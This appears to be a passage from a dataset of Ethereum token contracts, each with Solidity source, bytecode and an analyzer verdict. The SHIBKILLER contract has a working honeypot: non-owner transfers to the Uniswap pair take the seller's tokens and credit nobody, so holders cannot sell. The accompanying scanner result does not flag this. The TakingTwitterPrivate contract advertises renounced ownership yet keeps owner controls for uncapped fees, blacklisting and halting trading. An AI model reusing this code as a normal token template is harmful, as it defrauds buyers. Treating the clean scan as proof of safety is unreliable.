amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SHIBKILLER is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _initialSupply = 1e16*1e18; string private _name = "SHIBA KILLER"; string private _symbol = "SHIK"; uint8 private _decimals = 18; address private routerAddy = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswap address private dead = 0x000000000000000000000000000000000000dEaD; //address private vitalik = 0xdA28B1Eb9450978B9E3fD6A98F76A293920cE708; address private pairAddress; address private _owner = msg.sender; constructor () { _mint(address(this), _initialSupply); _transfer(address(this), dead, _initialSupply*50/100); // _transfer(address(this), vitalik, _initialSupply*20/100); } modifier onlyOwner() { require(isOwner(msg.sender)); _; } function isOwner(address account) public view returns(bool) { return account == _owner; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function add_liq() public payable onlyOwner { IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(routerAddy); pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _initialSupply); uniswapV2Router.addLiquidityETH{value: msg.value}( address(this), _initialSupply*50/100, 0, // slippage is unavoidable 0, // slippage is unavoidable _owner, block.timestamp ); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burn(uint256 amount) public virtual override { _burn(msg.sender, amount); } function burnFrom(address account, uint256 amount) public virtual override { uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, msg.sender, decreasedAllowance); _burn(account, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); if(sender == _owner || sender == address(this) || recipient == address(this)) { _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else if (recipient == pairAddress){ } else{ _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } receive() external payable {} }
0x6080604052600436106100ec5760003560e01c806342966c681161008a57806395d89b411161005957806395d89b411461025e578063a457c2d714610273578063a9059cbb14610293578063dd62ed3e146102b3576100f3565b806342966c68146101f457806370a082311461021657806376c11b941461023657806379cc67901461023e576100f3565b806323b872dd116100c657806323b872dd146101725780632f54bf6e14610192578063313ce567146101b257806339509351146101d4576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610150576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6102d3565b60405161011a9190610d84565b60405180910390f35b34801561012f57600080fd5b5061014361013e366004610cb4565b610365565b60405161011a9190610d79565b34801561015c57600080fd5b5061016561037b565b60405161011a9190610f5d565b34801561017e57600080fd5b5061014361018d366004610c74565b610381565b34801561019e57600080fd5b506101436101ad366004610c04565b6103ea565b3480156101be57600080fd5b506101c76103fe565b60405161011a9190610f66565b3480156101e057600080fd5b506101436101ef366004610cb4565b610407565b34801561020057600080fd5b5061021461020f366004610cdf565b61043d565b005b34801561022257600080fd5b50610165610231366004610c04565b61044a565b610214610465565b34801561024a57600080fd5b50610214610259366004610cb4565b6106de565b34801561026a57600080fd5b5061010d61072a565b34801561027f57600080fd5b5061014361028e366004610cb4565b610739565b34801561029f57600080fd5b506101436102ae366004610cb4565b610788565b3480156102bf57600080fd5b506101656102ce366004610c3c565b610795565b6060600480546102e290610fe2565b80601f016020809104026020016040519081016040528092919081815260200182805461030e90610fe2565b801561035b5780601f106103305761010080835404028352916020019161035b565b820191906000526020600020905b81548152906001019060200180831161033e57829003601f168201915b5050505050905090565b6000610372338484610839565b50600192915050565b60025490565b600061038e8484846108ed565b6103e084336103db85604051806060016040528060288152602001611091602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906107ff565b610839565b5060019392505050565b6009546001600160a01b0390811691161490565b60065460ff1690565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103729185906103db90866107c0565b6104473382610ae0565b50565b6001600160a01b031660009081526020819052604090205490565b61046e336103ea565b61047757600080fd5b6000600660019054906101000a90046001600160a01b03169050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104ca57600080fd5b505afa1580156104de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105029190610c20565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561054a57600080fd5b505afa15801561055e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105829190610c20565b6040518363ffffffff1660e01b815260040161059f929190610d24565b602060405180830381600087803b1580156105b957600080fd5b505af11580156105cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f19190610c20565b600860006101000a8154816001600160a01b0302191690836001600160a01b031602179055506106243082600354610839565b806001600160a01b031663f305d7193430606460035460326106469190610fac565b6106509190610f8c565b6009546040516001600160e01b031960e087901b16815261068693929160009182916001600160a01b0316904290600401610d3e565b6060604051808303818588803b15801561069f57600080fd5b505af11580156106b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106d89190610cf7565b50505050565b600061070e826040518060600160405280602481526020016110b9602491396107078633610795565b91906107ff565b905061071b833383610839565b6107258383610ae0565b505050565b6060600580546102e290610fe2565b600061037233846103db856040518060600160405280602581526020016110dd602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906107ff565b60006103723384846108ed565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000806107cd8385610f74565b9050838110156107f85760405162461bcd60e51b81526004016107ef90610e5c565b60405180910390fd5b9392505050565b600081848411156108235760405162461bcd60e51b81526004016107ef9190610d84565b5060006108308486610fcb565b95945050505050565b6001600160a01b03831661085f5760405162461bcd60e51b81526004016107ef90610f19565b6001600160a01b0382166108855760405162461bcd60e51b81526004016107ef90610e1a565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108e0908590610f5d565b60405180910390a3505050565b6001600160a01b0383166109135760405162461bcd60e51b81526004016107ef90610ed4565b6001600160a01b0382166109395760405162461bcd60e51b81526004016107ef90610dd7565b610944838383610725565b6109818160405180606001604052806026815260200161106b602691396001600160a01b03861660009081526020819052604090205491906107ff565b6001600160a01b038085166000818152602081905260409020929092556009541614806109b657506001600160a01b03831630145b806109c957506001600160a01b03821630145b15610a50576001600160a01b0382166000908152602081905260409020546109f190826107c0565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a43908590610f5d565b60405180910390a3610725565b6008546001600160a01b0383811691161415610a6b57610725565b6001600160a01b038216600090815260208190526040902054610a8e90826107c0565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108e0908590610f5d565b6001600160a01b038216610b065760405162461bcd60e51b81526004016107ef90610e93565b610b1282600083610725565b610b4f81604051806060016040528060228152602001611049602291396001600160a01b03851660009081526020819052604090205491906107ff565b6001600160a01b038316600090815260208190526040902055600254610b759082610bc2565b6002556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bb6908590610f5d565b60405180910390a35050565b60006107f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506107ff565b600060208284031215610c15578081fd5b81356107f881611033565b600060208284031215610c31578081fd5b81516107f881611033565b60008060408385031215610c4e578081fd5b8235610c5981611033565b91506020830135610c6981611033565b809150509250929050565b600080600060608486031215610c88578081fd5b8335610c9381611033565b92506020840135610ca381611033565b929592945050506040919091013590565b60008060408385031215610cc6578182fd5b8235610cd181611033565b946020939093013593505050565b600060208284031215610cf0578081fd5b5035919050565b600080600060608486031215610d0b578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b81811015610db057858101830151858201604001528201610d94565b81811115610dc15783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610f8757610f8761101d565b500190565b600082610fa757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610fc657610fc661101d565b500290565b600082821015610fdd57610fdd61101d565b500390565b600281046001821680610ff657607f821691505b6020821081141561101757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461044757600080fdfe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220adce38650218e21c5c80c8df50cc704712415fa15c8d8a8e7b65fa3bf525cdde64736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,326
0xa5B31F1d9d5d94cabcE8D8892492373630c58e62
/** */ /** TakingTwitterPrivate Ownership Renounced + LP Locked for 30 days Telegram: https://t.me/TakingTwitterPrivate /** */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TakingTwitterPrivate is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "TakingTwitterPrivate"; string private constant _symbol = "TTP"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xCf050F9911C0F38296339581E0696e0C3A932726); address payable private _marketingAddress = payable(0xCf050F9911C0F38296339581E0696e0C3A932726); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055e578063dd62ed3e1461057e578063ea1644d5146105c4578063f2fde38b146105e457600080fd5b8063a2a957bb146104d9578063a9059cbb146104f9578063bfd7928414610519578063c3c8cd801461054957600080fd5b80638f70ccf7116100d15780638f70ccf7146104575780638f9a55c01461047757806395d89b411461048d57806398a5c315146104b957600080fd5b80637d1db4a5146103f65780637f2feddc1461040c5780638da5cb5b1461043957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038c57806370a08231146103a1578063715018a6146103c157806374010ece146103d657600080fd5b8063313ce5671461031057806349bd5a5e1461032c5780636b9990531461034c5780636d8aa8f81461036c57600080fd5b80631694505e116101ab5780631694505e1461027d57806318160ddd146102b557806323b872dd146102da5780632fd689e3146102fa57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611968565b610604565b005b34801561020a57600080fd5b5060408051808201909152601481527354616b696e67547769747465725072697661746560601b60208201525b6040516102449190611a2d565b60405180910390f35b34801561025957600080fd5b5061026d610268366004611a82565b6106a3565b6040519015158152602001610244565b34801561028957600080fd5b5060145461029d906001600160a01b031681565b6040516001600160a01b039091168152602001610244565b3480156102c157600080fd5b50670de0b6b3a76400005b604051908152602001610244565b3480156102e657600080fd5b5061026d6102f5366004611aae565b6106ba565b34801561030657600080fd5b506102cc60185481565b34801561031c57600080fd5b5060405160098152602001610244565b34801561033857600080fd5b5060155461029d906001600160a01b031681565b34801561035857600080fd5b506101fc610367366004611aef565b610723565b34801561037857600080fd5b506101fc610387366004611b1c565b61076e565b34801561039857600080fd5b506101fc6107b6565b3480156103ad57600080fd5b506102cc6103bc366004611aef565b610801565b3480156103cd57600080fd5b506101fc610823565b3480156103e257600080fd5b506101fc6103f1366004611b37565b610897565b34801561040257600080fd5b506102cc60165481565b34801561041857600080fd5b506102cc610427366004611aef565b60116020526000908152604090205481565b34801561044557600080fd5b506000546001600160a01b031661029d565b34801561046357600080fd5b506101fc610472366004611b1c565b6108c6565b34801561048357600080fd5b506102cc60175481565b34801561049957600080fd5b5060408051808201909152600381526205454560ec1b6020820152610237565b3480156104c557600080fd5b506101fc6104d4366004611b37565b61090e565b3480156104e557600080fd5b506101fc6104f4366004611b50565b61093d565b34801561050557600080fd5b5061026d610514366004611a82565b61097b565b34801561052557600080fd5b5061026d610534366004611aef565b60106020526000908152604090205460ff1681565b34801561055557600080fd5b506101fc610988565b34801561056a57600080fd5b506101fc610579366004611b82565b6109dc565b34801561058a57600080fd5b506102cc610599366004611c06565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d057600080fd5b506101fc6105df366004611b37565b610a7d565b3480156105f057600080fd5b506101fc6105ff366004611aef565b610aac565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161062e90611c3f565b60405180910390fd5b60005b815181101561069f5760016010600084848151811061065b5761065b611c74565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069781611ca0565b91505061063a565b5050565b60006106b0338484610b96565b5060015b92915050565b60006106c7848484610cba565b610719843361071485604051806060016040528060288152602001611dba602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f6565b610b96565b5060019392505050565b6000546001600160a01b0316331461074d5760405162461bcd60e51b815260040161062e90611c3f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107985760405162461bcd60e51b815260040161062e90611c3f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107eb57506013546001600160a01b0316336001600160a01b0316145b6107f457600080fd5b476107fe81611230565b50565b6001600160a01b0381166000908152600260205260408120546106b49061126a565b6000546001600160a01b0316331461084d5760405162461bcd60e51b815260040161062e90611c3f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c15760405162461bcd60e51b815260040161062e90611c3f565b601655565b6000546001600160a01b031633146108f05760405162461bcd60e51b815260040161062e90611c3f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109385760405162461bcd60e51b815260040161062e90611c3f565b601855565b6000546001600160a01b031633146109675760405162461bcd60e51b815260040161062e90611c3f565b600893909355600a91909155600955600b55565b60006106b0338484610cba565b6012546001600160a01b0316336001600160a01b0